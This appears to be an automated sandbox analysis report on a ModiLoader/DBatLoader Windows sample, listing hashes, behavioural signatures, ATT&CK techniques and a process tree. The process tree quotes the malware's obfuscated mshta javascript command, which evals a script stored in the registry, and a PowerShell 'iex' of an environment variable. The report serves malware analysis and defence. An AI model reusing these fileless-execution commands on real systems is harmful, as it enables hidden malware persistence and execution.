Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-05-2024 12:23

General

  • Target

    634784dd9101f7576455d01c9bece554_JaffaCakes118.exe

  • Size

    356KB

  • MD5

    634784dd9101f7576455d01c9bece554

  • SHA1

    601bfc3ade8c994b8147f15c449fe556622109b2

  • SHA256

    eccc59b057a8c4e931a60c0fdcb23d229d203d91b9b2248b3143a24d0a16a658

  • SHA512

    194bd29fc6ce541e47716d5fedeac675524581bb0c08e5bba0685f699baff406638f30fade317cbe2e0ebe030b0c3cac68ae932d895aa68d4182816dd743b242

  • SSDEEP

    6144:Sae/c0RVIqxFu4s2a9XHCd9hxJamsAT4k+wCGbfQfojzMBR5j:W/cMVDxFu43cHYf1TPCAxjzMx

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs
  • ModiLoader Second Stage 15 IoCs
  • Looks for VMWare Tools registry key 2 TTPs 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\634784dd9101f7576455d01c9bece554_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\634784dd9101f7576455d01c9bece554_JaffaCakes118.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Looks for VMWare Tools registry key
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1576
    • C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\634784dd9101f7576455d01c9bece554_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\634784dd9101f7576455d01c9bece554_JaffaCakes118.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Looks for VMWare Tools registry key
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      PID:4296
  • C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" javascript:oT9vZ1Xswm="PRID0";g4Z=new%20ActiveXObject("WScript.Shell");d5vHGtr6I="1t16TF6Q9";ALND8=g4Z.RegRead("HKLM\\software\\Wow6432Node\\S7Itgv6\\VubPQ2Nql");AO8oeVwDC="E5N";eval(ALND8);t5uuunXR4M="Ki3wncxgf";
    1⤵
    • Process spawned unexpected child process
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4464
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:gwzt
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1524

Network

MITRE ATT&CK Matrix ATT&CK v13

Defense Evasion

Virtualization/Sandbox Evasion

2
T1497

Discovery

Query Registry

3
T1012

Virtualization/Sandbox Evasion

2
T1497

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rvhi43ns.ezs.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\634784dd9101f7576455d01c9bece554_JaffaCakes118.exe
    Filesize

    356KB

    MD5

    634784dd9101f7576455d01c9bece554

    SHA1

    601bfc3ade8c994b8147f15c449fe556622109b2

    SHA256

    eccc59b057a8c4e931a60c0fdcb23d229d203d91b9b2248b3143a24d0a16a658

    SHA512

    194bd29fc6ce541e47716d5fedeac675524581bb0c08e5bba0685f699baff406638f30fade317cbe2e0ebe030b0c3cac68ae932d895aa68d4182816dd743b242

  • memory/1524-18-0x0000000003020000-0x0000000003056000-memory.dmp
    Filesize

    216KB

  • memory/1524-38-0x0000000007810000-0x000000000782A000-memory.dmp
    Filesize

    104KB

  • memory/1524-37-0x0000000007E60000-0x00000000084DA000-memory.dmp
    Filesize

    6.5MB

  • memory/1524-36-0x0000000006780000-0x00000000067CC000-memory.dmp
    Filesize

    304KB

  • memory/1524-35-0x0000000006750000-0x000000000676E000-memory.dmp
    Filesize

    120KB

  • memory/1524-32-0x0000000006290000-0x00000000065E4000-memory.dmp
    Filesize

    3.3MB

  • memory/1524-21-0x00000000061B0000-0x0000000006216000-memory.dmp
    Filesize

    408KB

  • memory/1524-22-0x0000000006220000-0x0000000006286000-memory.dmp
    Filesize

    408KB

  • memory/1524-20-0x0000000005980000-0x00000000059A2000-memory.dmp
    Filesize

    136KB

  • memory/1524-19-0x0000000005B10000-0x0000000006138000-memory.dmp
    Filesize

    6.2MB

  • memory/1576-13-0x0000000002A50000-0x0000000002B24000-memory.dmp
    Filesize

    848KB

  • memory/1576-5-0x0000000000510000-0x0000000000517000-memory.dmp
    Filesize

    28KB

  • memory/1576-9-0x0000000002A50000-0x0000000002B24000-memory.dmp
    Filesize

    848KB

  • memory/1576-11-0x0000000002A50000-0x0000000002B24000-memory.dmp
    Filesize

    848KB

  • memory/1576-15-0x0000000002A50000-0x0000000002B24000-memory.dmp
    Filesize

    848KB

  • memory/1576-12-0x0000000002A50000-0x0000000002B24000-memory.dmp
    Filesize

    848KB

  • memory/1576-14-0x0000000002A50000-0x0000000002B24000-memory.dmp
    Filesize

    848KB

  • memory/1576-0-0x00000000020E0000-0x0000000002127000-memory.dmp
    Filesize

    284KB

  • memory/1576-10-0x0000000002A50000-0x0000000002B24000-memory.dmp
    Filesize

    848KB

  • memory/1576-41-0x0000000002A50000-0x0000000002B24000-memory.dmp
    Filesize

    848KB

  • memory/1576-40-0x0000000000400000-0x000000000043E000-memory.dmp
    Filesize

    248KB

  • memory/1576-3-0x0000000000400000-0x000000000043E000-memory.dmp
    Filesize

    248KB

  • memory/1576-4-0x0000000000440000-0x0000000000445000-memory.dmp
    Filesize

    20KB

  • memory/1576-16-0x0000000002A50000-0x0000000002B24000-memory.dmp
    Filesize

    848KB

  • memory/1576-1-0x00000000020E0000-0x0000000002127000-memory.dmp
    Filesize

    284KB

  • memory/4296-33-0x0000000001F90000-0x0000000001FD7000-memory.dmp
    Filesize

    284KB

  • memory/4296-34-0x0000000001F90000-0x0000000001FD7000-memory.dmp
    Filesize

    284KB